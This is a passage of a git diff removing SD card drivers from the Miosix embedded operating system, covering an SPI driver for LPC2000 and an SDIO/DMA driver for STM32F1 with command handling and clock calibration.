--n); - return res; // Return with the response value -} - -/** - * \internal - * Receive a data packet from the SD card - * \param buf data buffer to store received data - * \param byte count (must be multiple of 4) - * \return true on success, false on failure - */ -static bool rx_datablock(unsigned char *buf, unsigned int btr) -{ - unsigned char token; - for(int i=0;i<0xffff;i++) - { - token=spi_1_send(0xff); - if(token!=0xff) break; - } - if(token!=0xfe) return false; // If not valid data token, retutn error - - do { // Receive the data block into buffer - *buf=spi_1_send(0xff); buf++; - *buf=spi_1_send(0xff); buf++; - *buf=spi_1_send(0xff); buf++; - *buf=spi_1_send(0xff); buf++; - } while(btr-=4); - spi_1_send(0xff); // Discard CRC - spi_1_send(0xff); - - return true; // Return success -} - -/** - * \internal - * Send a data packet to the SD card - * \param buf 512 byte data block to be transmitted - * \param token data start/stop token - * \return true on success, false on failure - */ -static bool tx_datablock (const unsigned char *buf, unsigned char token) -{ - unsigned char resp; - if(wait_ready()!=0xff) return false; - - spi_1_send(token); // Xmit data token - if (token!=0xfd) - { // Is data token - for(int i=0;i<256;i++) - { // Xmit the 512 byte data block - spi_1_send(*buf); buf++; - spi_1_send(*buf); buf++; - } - spi_1_send(0xff); // CRC (Dummy) - spi_1_send(0xff); - resp=spi_1_send(0xff); // Receive data response - if((resp & 0x1f)!=0x05) // If not accepted, return error - return false; - } - return true; -} - -// -// class SPISDDriver -// - -intrusive_ref_ptr SPISDDriver::instance() -{ - static FastMutex m; - static intrusive_ref_ptr instance; - Lock l(m); - if(!instance) instance=new SPISDDriver(); - return instance; -} - -ssize_t SPISDDriver::readBlock(void* buffer, size_t size, off_t where) -{ - if(where % 512 || size % 512) return -EFAULT; - unsigned int lba=where/512; - unsigned int nSectors=size/512; - unsigned char *buf=reinterpret_cast(buffer); - Lock l(mutex); - DBG("SPISDDriver::readBlock(): nSectors=%d\n",nSectors); - if(!(cardType & 8)) lba*=512; // Convert to byte address if needed - unsigned char result; - if(nSectors==1) - { // Single block read - result=send_cmd(CMD17,lba); // READ_SINGLE_BLOCK - if(result!=0) - { - print_error_code(result); - CS_HIGH(); - return -EBADF; - } - if(rx_datablock(buf,512)==false) - { - DBGERR("Block read error\n"); - CS_HIGH(); - return -EBADF; - } - } else { // Multiple block read - //DBGERR("Mbr\n");//debug only - result=send_cmd(CMD18,lba); // READ_MULTIPLE_BLOCK - if(result!=0) - { - print_error_code(result); - CS_HIGH(); - return -EBADF; - } - do { - if(!rx_datablock(buf,512)) break; - buf+=512; - } while(--nSectors); - send_cmd(CMD12,0); // STOP_TRANSMISSION - if(nSectors!=0) - { - DBGERR("Multiple block read error\n"); - CS_HIGH(); - return -EBADF; - } - } - CS_HIGH(); - return size; -} - -ssize_t SPISDDriver::writeBlock(const void* buffer, size_t size, off_t where) -{ - if(where % 512 || size % 512) return -EFAULT; - unsigned int lba=where/512; - unsigned int nSectors=size/512; - const unsigned char *buf=reinterpret_cast(buffer); - Lock l(mutex); - DBG("SPISDDriver::writeBlock(): nSectors=%d\n",nSectors); - if(!(cardType & 8)) lba*=512; // Convert to byte address if needed - unsigned char result; - if(nSectors==1) - { // Single block write - result=send_cmd(CMD24,lba); // WRITE_BLOCK - if(result!=0) - { - print_error_code(result); - CS_HIGH(); - return -EBADF; - } - if(tx_datablock(buf,0xfe)==false) // WRITE_BLOCK - { - DBGERR("Block write error\n"); - CS_HIGH(); - return -EBADF; - } - } else { // Multiple block write - //DBGERR("Mbw\n");//debug only - if(cardType & 6) send_cmd(ACMD23,nSectors);//Only if it is SD card - result=send_cmd(CMD25,lba); // WRITE_MULTIPLE_BLOCK - if(result!=0) - { - print_error_code(result); - CS_HIGH(); - return -EBADF; - } - do { - if(!tx_datablock(buf,0xfc)) break; - buf+=512; - } while(--nSectors); - if(!tx_datablock(0,0xfd)) // STOP_TRAN token - { - DBGERR("Multiple block write error\n"); - CS_HIGH(); - return -EBADF; - } - } - CS_HIGH(); - return size; -} - -int SPISDDriver::ioctl(int cmd, void* arg) -{ - DBG("SPISDDriver::ioctl()\n"); - if(cmd!=IOCTL_SYNC) return -ENOTTY; - Lock l(mutex); - CS_LOW(); - unsigned char result=wait_ready(); - CS_HIGH(); - if(result==0xff) return 0; - else return -EFAULT; -} - -SPISDDriver::SPISDDriver() : Device(Device::BLOCK) -{ - const int MAX_RETRY=20;//Maximum command retry before failing - spi_1_init(); /* init at low speed */ - unsigned char resp; - int i; - for(i=0;i * - ***************************************************************************/ - -#ifndef SD_LPC2000_H -#define SD_LPC2000_H - -#include "kernel/sync.h" -#include "filesystem/devfs/devfs.h" -#include "filesystem/ioctl.h" - -namespace miosix { - -/** - * Driver for interfacing to an SD card through SPI - */ -class SPISDDriver : public Device -{ -public: - /** - * \return an instance to this class, singleton - */ - static intrusive_ref_ptr instance(); - - virtual ssize_t readBlock(void *buffer, size_t size, off_t where); - - virtual ssize_t writeBlock(const void *buffer, size_t size, off_t where); - - virtual int ioctl(int cmd, void *arg); -private: - /** - * Constructor - */ - SPISDDriver(); - - FastMutex mutex; -}; - -} //namespace miosix - -#endif //SD_LPC2000_H diff --git a/miosix/arch/common/drivers/sd_stm32f1.cpp b/miosix/arch/common/drivers/sd_stm32f1.cpp deleted file mode 100644 index 9c4035122..000000000 --- a/miosix/arch/common/drivers/sd_stm32f1.cpp +++ /dev/null @@ -1,1799 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2010, 2011, 2012, 2013, 2014 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#include "sd_stm32f1.h" -#include "interfaces/bsp.h" -#include "interfaces/arch_registers.h" -#include "interfaces/delays.h" -#include "kernel/kernel.h" -#include "kernel/scheduler/scheduler.h" -#include "board_settings.h" //For sdVoltage -#include -#include -#include - -/* - * This driver is quite a bit complicated, due to a silicon errata in the - * STM32F1 microcontrollers, that prevents concurrent access to the FSMC - * (i.e., the external memory controller) by both the CPU and DMA. - * Therefore, if __ENABLE_XRAM is defined, the SDIO peripheral is used in - * polled mode, otherwise in DMA mode. The use in polled mode is further - * complicated by the fact that the SDIO peripheral does not halt the clock - * to the SD card if its internal fifo is full. Therefore, when using the - * SDIO in polled mode the only solution is to disable interrupts during - * the data transfer. To optimize reading and writing speed this code - * automatically chooses the best transfer speed using a binary search during - * card initialization. Also, other sources of mess are the requirement for - * word alignment of pointers when doing DMA transfers or writing to the SDIO - * peripheral. Because of that, tryng to fwrite() large bloks of data is faster - * if they are word aligned. An easy way to do so is to allocate them on the - * heap (and not doing any pointer arithmetic on the value returned by - * malloc/new) - */ - -//Note: enabling debugging might cause deadlock when using sleep() or reboot() -//The bug won't be fixed because debugging is only useful for driver development -///\internal Debug macro, for normal conditions -//#define DBG iprintf -#define DBG(x,...) do {} while(0) -///\internal Debug macro, for errors only -//#define DBGERR iprintf -#define DBGERR(x,...) do {} while(0) - -#ifndef __ENABLE_XRAM -/** - * \internal - * DMA2 Channel4 interrupt handler - */ -void __attribute__((naked)) DMA2_Channel4_5_IRQHandler() -{ - saveContext(); - asm volatile("bl _ZN6miosix19DMA2channel4irqImplEv"); - restoreContext(); -} - -/** - * \internal - * SDIO interrupt handler - */ -void __attribute__((naked)) SDIO_IRQHandler() -{ - saveContext(); - asm volatile("bl _ZN6miosix11SDIOirqImplEv"); - restoreContext(); -} -#endif //__ENABLE_XRAM - -namespace miosix { - -#ifndef __ENABLE_XRAM -static volatile bool transferError; ///< \internal DMA or SDIO transfer error -static Thread *waiting; ///< \internal Thread waiting for transfer -static unsigned int dmaFlags; ///< \internal DMA status flags -static unsigned int sdioFlags; ///< \internal SDIO status flags - -/** - * \internal - * DMA2 Channel4 interrupt handler actual implementation - */ -void __attribute__((used)) DMA2channel4irqImpl() -{ - dmaFlags=DMA2->ISR; - if(dmaFlags & DMA_ISR_TEIF4) transferError=true; - - DMA2->IFCR=DMA_IFCR_CGIF4; - - if(!waiting) return; - waiting->IRQwakeup(); - if(waiting->IRQgetPriority()>Thread::IRQgetCurrentThread()->IRQgetPriority()) - Scheduler::IRQfindNextThread(); - waiting=0; -} - -/** - * \internal - * DMA2 Channel4 interrupt handler actual implementation - */ -void __attribute__((used)) SDIOirqImpl() -{ - sdioFlags=SDIO->STA; - if(sdioFlags & (SDIO_STA_STBITERR | SDIO_STA_RXOVERR | - SDIO_STA_TXUNDERR | SDIO_STA_DTIMEOUT | SDIO_STA_DCRCFAIL)) - transferError=true; - - SDIO->ICR=0x7ff;//Clear flags - - if(!waiting) return; - waiting->IRQwakeup(); - if(waiting->IRQgetPriority()>Thread::IRQgetCurrentThread()->IRQgetPriority()) - Scheduler::IRQfindNextThread(); - waiting=0; -} -#endif //__ENABLE_XRAM - -/* - * Operating voltage of device. It is sent to the SD card to check if it can - * work at this voltage. Range *must* be within 28..36 - * Example 33=3.3v - */ -//const unsigned char sdVoltage=33; //Is defined in board_settings.h -const unsigned int sdVoltageMask=1<<(sdVoltage-13); //See OCR register in SD spec - -/** - * \internal - * Possible state of the cardType variable. - */ -enum CardType -{ - Invalid=0, ///<\internal Invalid card type - MMC=1<<0, ///<\internal if(cardType==MMC) card is an MMC - SDv1=1<<1, ///<\internal if(cardType==SDv1) card is an SDv1 - SDv2=1<<2, ///<\internal if(cardType==SDv2) card is an SDv2 - SDHC=1<<3 ///<\internal if(cardType==SDHC) card is an SDHC -}; - -///\internal Type of card. -static CardType cardType=Invalid; - -//SD card GPIOs -typedef Gpio sdD0; -typedef Gpio sdD1; -typedef Gpio sdD2; -typedef Gpio sdD3; -typedef Gpio sdCLK; -typedef Gpio sdCMD; - -// -// Class BufferConverter -// - -/** - * \internal - * Convert a single buffer of *fixed* and predetermined size to and from - * word-aligned. To do so, if the buffer is already word aligned a cast is made, - * otherwise a new buffer is allocated. - * Note that this class allocates at most ONE buffer at any given time. - * Therefore any call to toWordAligned(), toWordAlignedWithoutCopy(), - * toOriginalBuffer() or deallocateBuffer() invalidates the buffer previousy - * returned by toWordAligned() and toWordAlignedWithoutCopy() - */ -class BufferConverter -{ -public: - /** - * \internal - * The buffer will be of this size only. - */ - static const int BUFFER_SIZE=512; - - /** - * \internal - * \return true if the pointer is word aligned - */ - static bool isWordAligned(const void *x) - { - return (reinterpret_cast(x) & 0x3)==0; - } - - /** - * \internal - * Convert from a constunsigned char* buffer of size BUFFER_SIZE to a - * const unsigned int* word aligned buffer. - * If the original buffer is already word aligned it only does a cast, - * otherwise it copies the data on the original buffer to a word aligned - * buffer. Useful if subseqent code will read from the buffer. - * \param a buffer of size BUFFER_SIZE. Can be word aligned or not. - * \return a word aligned buffer with the same data of the given buffer - */ - static const unsigned int *toWordAligned(const unsigned char *buffer); - - /** - * \internal - * Convert from an unsigned char* buffer of size BUFFER_SIZE to an - * unsigned int* word aligned buffer. - * If the original buffer is already word aligned it only does a cast, - * otherwise it returns a new buffer which *does not* contain the data - * on the original buffer. Useful if subseqent code will write to the - * buffer. To move the written data to the original buffer, use - * toOriginalBuffer() - * \param a buffer of size BUFFER_SIZE. Can be word aligned or not. - * \return a word aligned buffer with undefined content. - */ - static unsigned int *toWordAlignedWithoutCopy(unsigned char *buffer); - - /** - * \internal - * Convert the buffer got through toWordAlignedWithoutCopy() to the - * original buffer. If the original buffer was word aligned, nothing - * happens, otherwise a memcpy is done. - * Note that this function does not work on buffers got through - * toWordAligned(). - */ - static void toOriginalBuffer(); - - /** - * \internal - * Can be called to deallocate the buffer - */ - static void deallocateBuffer(); - -private: - static unsigned char *originalBuffer; - static unsigned int *wordAlignedBuffer; -}; - -const unsigned int *BufferConverter::toWordAligned(const unsigned char *buffer) -{ - originalBuffer=0; //Tell toOriginalBuffer() that there's nothing to do - if(isWordAligned(buffer)) - { - return reinterpret_cast(buffer); - } else { - if(wordAlignedBuffer==0) - wordAlignedBuffer=new unsigned int[BUFFER_SIZE/sizeof(unsigned int)]; - std::memcpy(wordAlignedBuffer,buffer,BUFFER_SIZE); - return wordAlignedBuffer; - } -} - -unsigned int *BufferConverter::toWordAlignedWithoutCopy( - unsigned char *buffer) -{ - if(isWordAligned(buffer)) - { - originalBuffer=0; //Tell toOriginalBuffer() that there's nothing to do - return reinterpret_cast(buffer); - } else { - originalBuffer=buffer; //Save original pointer for toOriginalBuffer() - if(wordAlignedBuffer==0) - wordAlignedBuffer=new unsigned int[BUFFER_SIZE/sizeof(unsigned int)]; - return wordAlignedBuffer; - } -} - -void BufferConverter::toOriginalBuffer() -{ - if(originalBuffer==0) return; - std::memcpy(originalBuffer,wordAlignedBuffer,BUFFER_SIZE); - originalBuffer=0; -} - -void BufferConverter::deallocateBuffer() -{ - originalBuffer=0; //Invalidate also original buffer - if(wordAlignedBuffer!=0) - { - delete[] wordAlignedBuffer; - wordAlignedBuffer=0; - } -} - -unsigned char *BufferConverter::originalBuffer=0; -unsigned int *BufferConverter::wordAlignedBuffer=0; - -// -// Class CmdResult -// - -/** - * \internal - * Contains the result of an SD/MMC command - */ -class CmdResult -{ -public: - - /** - * \internal - * Possible outcomes of sending a command - */ - enum Error - { - Ok=0, /// No errors - Timeout, /// Timeout while waiting command reply - CRCFail, /// CRC check failed in command reply - RespNotMatch,/// Response index does not match command index - ACMDFail /// Sending CMD55 failed - }; - - /** - * \internal - * Default constructor - */ - CmdResult(): cmd(0), error(Ok), response(0) {} - - /** - * \internal - * Constructor, set the response data - * \param cmd command index of command that was sent - * \param result result of command - */ - CmdResult(unsigned char cmd, Error error): cmd(cmd), error(error), - response(SDIO->RESP1) {} - - /** - * \internal - * \return the 32 bit of the response. - * May not be valid if getError()!=Ok or the command does not send a - * response, such as CMD0 - */ - unsigned int getResponse() { return response; } - - /** - * \internal - * \return command index - */ - unsigned char getCmdIndex() { return cmd; } - - /** - * \internal - * \return the error flags of the response - */ - Error getError() { return error; } - - /** - * \internal - * Checks if errors occurred while sending the command. - * \return true if no errors, false otherwise - */ - bool validateError(); - - /** - * \internal - * interprets this->getResponse() as an R1 response, and checks if there are - * errors, or everything is ok - * \return true on success, false on failure - */ - bool validateR1Response(); - - /** - * \internal - * Same as validateR1Response, but can be called with interrupts disabled. - * \return true on success, false on failure - */ - bool IRQvalidateR1Response(); - - /** - * \internal - * interprets this->getResponse() as an R6 response, and checks if there are - * errors, or everything is ok - * \return true on success, false on failure - */ - bool validateR6Response(); - - /** - * \internal - * \return the card state from an R1 or R6 resonse - */ - unsigned char getState(); - -private: - unsigned char cmd; ///<\internal Command index that was sent - Error error; ///<\internal possible error that occurred - unsigned int response; ///<\internal 32bit response -}; - -bool CmdResult::validateError() -{ - switch(error) - { - case Ok: - return true; - case Timeout: - DBGERR("CMD%d: Timeout\n",cmd); - break; - case CRCFail: - DBGERR("CMD%d: CRC Fail\n",cmd); - break; - case RespNotMatch: - DBGERR("CMD%d: Response does not match\n",cmd); - break; - case ACMDFail: - DBGERR("CMD%d: ACMD Fail\n",cmd); - break; - } - return false; -} - -bool CmdResult::validateR1Response() -{ - if(error!=Ok) return validateError(); - //Note: this number is obtained with all the flags of R1 which are errors - //(flagged as E in the SD specification), plus CARD_IS_LOCKED because - //locked card are not supported by this software driver - if((response & 0xfff98008)==0) return true; - DBGERR("CMD%d: R1 response error(s):\n",cmd); - if(response & (1<<31)) DBGERR("Out of range\n"); - if(response & (1<<30)) DBGERR("ADDR error\n"); - if(response & (1<<29)) DBGERR("BLOCKLEN error\n"); - if(response & (1<<28)) DBGERR("ERASE SEQ error\n"); - if(response & (1<<27)) DBGERR("ERASE param\n"); - if(response & (1<<26)) DBGERR("WP violation\n"); - if(response & (1<<25)) DBGERR("card locked\n"); - if(response & (1<<24)) DBGERR("LOCK_UNLOCK failed\n"); - if(response & (1<<23)) DBGERR("command CRC failed\n"); - if(response & (1<<22)) DBGERR("illegal command\n"); - if(response & (1<<21)) DBGERR("ECC fail\n"); - if(response & (1<<20)) DBGERR("card controller error\n"); - if(response & (1<<19)) DBGERR("unknown error\n"); - if(response & (1<<16)) DBGERR("CSD overwrite\n"); - if(response & (1<<15)) DBGERR("WP ERASE skip\n"); - if(response & (1<<3)) DBGERR("AKE_SEQ error\n"); - return false; -} - -bool CmdResult::IRQvalidateR1Response() -{ - if(error!=Ok) return false; - if(response & 0xfff98008) return false; - return true; -} - -bool CmdResult::validateR6Response() -{ - if(error!=Ok) return validateError(); - if((response & 0xe008)==0) return true; - DBGERR("CMD%d: R6 response error(s):\n",cmd); - if(response & (1<<15)) DBGERR("command CRC failed\n"); - if(response & (1<<14)) DBGERR("illegal command\n"); - if(response & (1<<13)) DBGERR("unknown error\n"); - if(response & (1<<3)) DBGERR("AKE_SEQ error\n"); - return false; -} - -unsigned char CmdResult::getState() -{ - unsigned char result=(response>>9) & 0xf; - DBG("CMD%d: State: ",cmd); - switch(result) - { - case 0: DBG("Idle\n"); break; - case 1: DBG("Ready\n"); break; - case 2: DBG("Ident\n"); break; - case 3: DBG("Stby\n"); break; - case 4: DBG("Tran\n"); break; - case 5: DBG("Data\n"); break; - case 6: DBG("Rcv\n"); break; - case 7: DBG("Prg\n"); break; - case 8: DBG("Dis\n"); break; - case 9: DBG("Btst\n"); break; - default: DBG("Unknown\n"); break; - } - return result; -} - -// -// Class Command -// - -/** - * \internal - * This class allows sending commands to an SD or MMC - */ -class Command -{ -public: - - /** - * \internal - * SD/MMC commands - * - bit #7 is @ 1 if a command is an ACMDxx. send() will send the - * sequence CMD55, CMDxx - * - bit from #0 to #5 indicate command index (CMD0..CMD63) - * - bit #6 is don't care - */ - enum CommandType - { - CMD0=0, //GO_IDLE_STATE - CMD2=2, //ALL_SEND_CID - CMD3=3, //SEND_RELATIVE_ADDR - ACMD6=0x80 | 6, //SET_BUS_WIDTH - CMD7=7, //SELECT_DESELECT_CARD - ACMD41=0x80 | 41, //SEND_OP_COND (SD) - CMD8=8, //SEND_IF_COND - CMD9=9, //SEND_CSD - CMD12=12, //STOP_TRANSMISSION - CMD13=13, //SEND_STATUS - CMD16=16, //SET_BLOCKLEN - CMD17=17, //READ_SINGLE_BLOCK - CMD18=18, //READ_MULTIPLE_BLOCK - ACMD23=0x80 | 23, //SET_WR_BLK_ERASE_COUNT (SD) - CMD24=24, //WRITE_BLOCK - CMD25=25, //WRITE_MULTIPLE_BLOCK - CMD55=55 //APP_CMD - }; - - /** - * \internal - * Send a command. - * \param cmd command index (CMD0..CMD63) or ACMDxx command - * \param arg the 32 bit argument to the command - * \return a CmdResult object - */ - static CmdResult send(CommandType cmd, unsigned int arg) - { - if(static_cast(cmd) & 0x80) - { - DBG("ACMD%d\n",static_cast(cmd) & 0x3f); - } else { - DBG("CMD%d\n",static_cast(cmd) & 0x3f); - } - return IRQsend(cmd,arg); - } - - /** - * \internal - * Send a command. Can be called with interrupts disabled as it does not - * print any debug information. - * \param cmd command index (CMD0..CMD63) or ACMDxx command - * \param arg the 32 bit argument to the command - * \return a CmdResult object - */ - static CmdResult IRQsend(CommandType cmd, unsigned int arg); - - /** - * \internal - * Set the relative card address, obtained during initialization. - * \param r the card's rca - */ - static void setRca(unsigned short r) { rca=r; } - - /** - * \internal - * \return the card's rca, as set by setRca - */ - static unsigned int getRca() { return static_cast(rca); } - -private: - static unsigned short rca;///<\internal Card's relative address -}; - -CmdResult Command::IRQsend(CommandType cmd, unsigned int arg) -{ - unsigned char cc=static_cast(cmd); - //Handle ACMDxx as CMD55, CMDxx - if(cc & 0x80) - { - CmdResult r=IRQsend(CMD55,(static_cast(rca))<<16); - if(r.IRQvalidateR1Response()==false) - return CmdResult(cc & 0x3f,CmdResult::ACMDFail); - //Bit 5 @ 1 = next command will be interpreted as ACMD - if((r.getResponse() & (1<<5))==0) - return CmdResult(cc & 0x3f,CmdResult::ACMDFail); - } - - //Send command - cc &= 0x3f; - unsigned int command=SDIO_CMD_CPSMEN | static_cast(cc); - if(cc!=CMD0) command |= SDIO_CMD_WAITRESP_0; //CMD0 has no response - if(cc==CMD2) command |= SDIO_CMD_WAITRESP_1; //CMD2 has long response - if(cc==CMD9) command |= SDIO_CMD_WAITRESP_1; //CMD9 has long response - SDIO->ARG=arg; - SDIO->CMD=command; - - //CMD0 has no response, so wait until it is sent - if(cc==CMD0) - { - for(int i=0;i<500;i++) - { - if(SDIO->STA & SDIO_STA_CMDSENT) - { - SDIO->ICR=0x7ff;//Clear flags - return CmdResult(cc,CmdResult::Ok); - } - delayUs(1); - } - SDIO->ICR=0x7ff;//Clear flags - return CmdResult(cc,CmdResult::Timeout); - } - - //Command is not CMD0, so wait a reply - for(int i=0;i<500;i++) - { - unsigned int status=SDIO->STA; - if(status & SDIO_STA_CMDREND) - { - SDIO->ICR=0x7ff;//Clear flags - if(SDIO->RESPCMD==cc) return CmdResult(cc,CmdResult::Ok); - else return CmdResult(cc,CmdResult::RespNotMatch); - } - if(status & SDIO_STA_CCRCFAIL) - { - SDIO->ICR=SDIO_ICR_CCRCFAILC; - return CmdResult(cc,CmdResult::CRCFail); - } - if(status & SDIO_STA_CTIMEOUT) break; - delayUs(1); - } - SDIO->ICR=SDIO_ICR_CTIMEOUTC; - return CmdResult(cc,CmdResult::Timeout); -} - -unsigned short Command::rca=0; - -// -// Class DataResult -// - -/** - * \internal - * Contains the result of sending/receiving a data block - */ -class DataResult -{ -public: - - /** - * \internal - * Possible outcomes of sending or receiving data - */ - enum Error - { - Ok=0, - Timeout, - CRCFail, - RXOverrun, - TXUnderrun, - StartBitFail - }; - - /** - * \internal - * Default constructor - */ - DataResult(): error(Ok) {} - - /** - * \internal - * Constructor, set the result. - * \param error error type - */ - DataResult(Error error): error(error) {} - - /** - * \internal - * \return the error flags - */ - Error getError() { return error; } - - /** - * \internal - * Checks if errors occurred while sending/receiving data. - * \return true if no errors, false otherwise - */ - bool validateError(); - -private: - Error error; -}; - - -bool DataResult::validateError() -{ - switch(error) - { - case Ok: - return true; - case Timeout: - DBGERR("Data Timeout\n"); - break; - case CRCFail: - DBGERR("Data CRC Fail\n"); - break; - case RXOverrun: - DBGERR("Data overrun\n"); - break; - case TXUnderrun: - DBGERR("Data underrun\n"); - break; - case StartBitFail: - DBGERR("Data start bit Fail\n"); - break; - } - return false; -} - -// -// Class ClockController -// - -/** - * \internal - * This class controls the clock speed of the SDIO peripheral. The SDIO - * peripheral, when used in polled mode, requires two timing critical pieces of - * code: the one to send and the one to receive a data block. This because - * the peripheral has a 128 byte fifo while the block size is 512 byte, and - * if fifo underrun/overrun occurs the peripheral does not pause communcation, - * instead it simply aborts the data transfer. Since the speed of the code to - * read/write a data block depends on too many factors, such as compiler - * optimizations, code running from internal flash or external ram, and the - * cpu clock speed, a dynamic clocking approach was chosen. - */ -class ClockController -{ -public: - - /** - * \internal. Set a low clock speed of 400KHz or less, used for - * detecting SD/MMC cards. This function as a side effect enables 1bit bus - * width, and disables clock powersave, since it is not allowed by SD spec. - */ - static void setLowSpeedClock() - { - clockReductionAvailable=0; - // No hardware flow control, SDIO_CK generated on rising edge, 1bit bus - // width, no clock bypass, no powersave. - // Set low clock speed 400KHz, 72MHz/400KHz-2=178 - SDIO->CLKCR=CLOCK_400KHz | SDIO_CLKCR_CLKEN; - SDIO->DTIMER=240000; //Timeout 600ms expressed in SD_CK cycles - } - - /** - * \internal - * Automatically select the data speed. - * Since the maximum speed depends on many factors, such as code running in - * internal or external RAM, compiler optimizations etc. this routine - * selects the highest sustainable data transfer speed. - * This is done by binary search until the highest clock speed that causes - * no errors is found. - * This function as a side effect enables 4bit bus width, and clock - * powersave. - */ - static void calibrateClockSpeed(SDIODriver *sdio); - - /** - * \internal - * Since clock speed is set dynamically by bynary search at runtime, a - * corner case might be that of a clock speed which results in unreliable - * data transfer, that sometimes succeeds, and sometimes fail. - * For maximum robustness, this function is provided to reduce the clock - * speed slightly in case a data transfer should fail after clock - * calibration. To avoid inadvertently considering other kind of issues as - * clock issues, this function can be called only MAX_ALLOWED_REDUCTIONS - * times after clock calibration, subsequent calls will fail. This will - * avoid other issues causing an ever decreasing clock speed. - * \return true on success, false on failure - */ - static bool reduceClockSpeed() { return IRQreduceClockSpeed(); } - - /** - * \internal - * Same as reduceClockSpeed(), can be called with interrupts disabled. - * \return true on success, false on failure - */ - static bool IRQreduceClockSpeed(); - - /** - * \internal - * Read and write operation do retry during normal use for robustness, but - * during clock claibration they must not retry for speed reasons. This - * member function returns 1 during clock claibration and MAX_RETRY during - * normal use. - */ - static unsigned char getRetryCount() { return retries; } - -private: - /** - * Set SDIO clock speed - * \param clkdiv speed is SDIOCLK/(clkdiv+2) - */ - static void setClockSpeed(unsigned int clkdiv); - - /** - * \internal - * Value of SDIO->CLKCR that will give a 400KHz clock, depending on cpu - * clock speed. - */ - #ifdef SYSCLK_FREQ_72MHz - static const unsigned int CLOCK_400KHz=178; - #elif SYSCLK_FREQ_56MHz - static const unsigned int CLOCK_400KHz=138; - #elif SYSCLK_FREQ_48MHz - static const unsigned int CLOCK_400KHz=118; - #elif SYSCLK_FREQ_36MHz - static const unsigned int CLOCK_400KHz=88; - #elif SYSCLK_FREQ_24MHz - static const unsigned int CLOCK_400KHz=58; - #else - static const unsigned int CLOCK_400KHz=18; - #endif - - ///\internal Clock enabled, bus width 4bit, clock powersave enabled. - static const unsigned int CLKCR_FLAGS=SDIO_CLKCR_CLKEN | - SDIO_CLKCR_WIDBUS_0 | SDIO_CLKCR_PWRSAV; - - ///\internal Maximum number of calls to IRQreduceClockSpeed() allowed - ///When using polled mode this is a critical parameter, if SDIO driver - ///starts to fail, it might be a good idea to increase this - static const unsigned char MAX_ALLOWED_REDUCTIONS=7; - - ///\internal value returned by getRetryCount() while *not* calibrating clock. - ///When using polled mode this is a critical parameter, if SDIO driver - ///starts to fail, it might be a good idea to increase this - static const unsigned char MAX_RETRY=10; - - ///\internal Used to allow only one call to reduceClockSpeed() - static unsigned char clockReductionAvailable; - - static unsigned char retries; -}; - -void ClockController::calibrateClockSpeed(SDIODriver *sdio) -{ - //During calibration we call readBlock which will call reduceClockSpeed() - //so not to invalidate calibration clock reduction must not be available - clockReductionAvailable=0; - retries=1; - - DBG("Automatic speed calibration\n"); - unsigned int buffer[512/sizeof(unsigned int)]; - unsigned int minFreq=CLOCK_400KHz; //400KHz, independent of CPU clock - unsigned int maxFreq=1; //24MHz with CPU running @ 72MHz - unsigned int selected; - while(minFreq-maxFreq>1) - { - selected=(minFreq+maxFreq)/2; - DBG("Trying CLKCR=%d\n",selected); - setClockSpeed(selected); - if(sdio->readBlock(reinterpret_cast(buffer),512,0)==512) - minFreq=selected; - else maxFreq=selected; - } - //Last round of algorithm - setClockSpeed(maxFreq); - if(sdio->readBlock(reinterpret_cast(buffer),512,0)==512) - { - DBG("Optimal CLKCR=%d\n",maxFreq); - } else { - setClockSpeed(minFreq); - DBG("Optimal CLKCR=%d\n",minFreq); - } - - //Make clock reduction available - clockReductionAvailable=MAX_ALLOWED_REDUCTIONS; - retries=MAX_RETRY; -} - -bool ClockController::IRQreduceClockSpeed() -{ - //Ensure this function can be called only twice per calibration - if(clockReductionAvailable==0) return false; - clockReductionAvailable--; - - unsigned int currentClkcr=SDIO->CLKCR & 0xff; - if(currentClkcr==CLOCK_400KHz) return false; //No lower than this value - - //If the value of clockcr is low, increasing it by one is enough since - //frequency changes a lot, otherwise increase by 2. - if(currentClkcr<10) currentClkcr++; - else currentClkcr+=2; - - setClockSpeed(currentClkcr); - return true; -} - -void ClockController::setClockSpeed(unsigned int clkdiv) -{ - //Don't enable hardware flow control even if SD_KEEP_CARD_SELECTED on stm32f1 - SDIO->CLKCR=clkdiv | CLKCR_FLAGS; - //Timeout 600ms expressed in SD_CK cycles - SDIO->DTIMER=(6*SystemCoreClock)/((clkdiv+2)*10); -} - -unsigned char ClockController::clockReductionAvailable=false; -unsigned char ClockController::retries=ClockController::MAX_RETRY; - -// -// Data send/receive functions -// - -/** - * \internal - * Wait until the card is ready for data transfer. - * Can be called independently of the card being selected. - * \return true on success, false on failure - */ -static bool waitForCardReady() -{ - //The card may remain busy for up to 500ms and there appears to be no way - //to set an interrupt to wait until it becomes ready again. We can't just - //poll for that long as if a high priority thread is stuck polling all lower - //priority threads block, so we are forced to do a sleep. The initial value - //of 2ms was found to be impacting performance excessively, so we take - //advantage of high resolution timers by sleeping for 200us, and fallback to - //the previous value only for slow configurations - #if !defined(__CODE_IN_XRAM) - const long long sleepTime=200000; - #else - const long long sleepTime=2000000; - #endif - long long timeout=getTime()+1500000000; //Timeout 1.5 second - do { - CmdResult cr=Command::send(Command::CMD13,Command::getRca()<<16); - if(cr.validateR1Response()==false) return false; - //Bit 8 in R1 response means ready for data. - if(cr.getResponse() & (1<<8)) return true; - Thread::nanoSleep(sleepTime); - } while(getTime()DLEN and must match the size parameter given to this - * function. - * \param buffer buffer where to store received data. Its size must be >=size - * \param buffer size, which *must* be multiple of 8 words (32bytes) - * Note that the size parameter must be expressed in word (4bytes), while - * the value in SDIO->DLEN is expressed in bytes. - * \return a DataResult object - */ -static DataResult IRQreceiveDataBlock(unsigned int *buffer, unsigned int size) -{ - // A note on speed. - // Due to the auto calibration of SDIO clock speed being done with - // IRQreceiveDataBlock(), the speed of this function must be comparable - // with the speed of 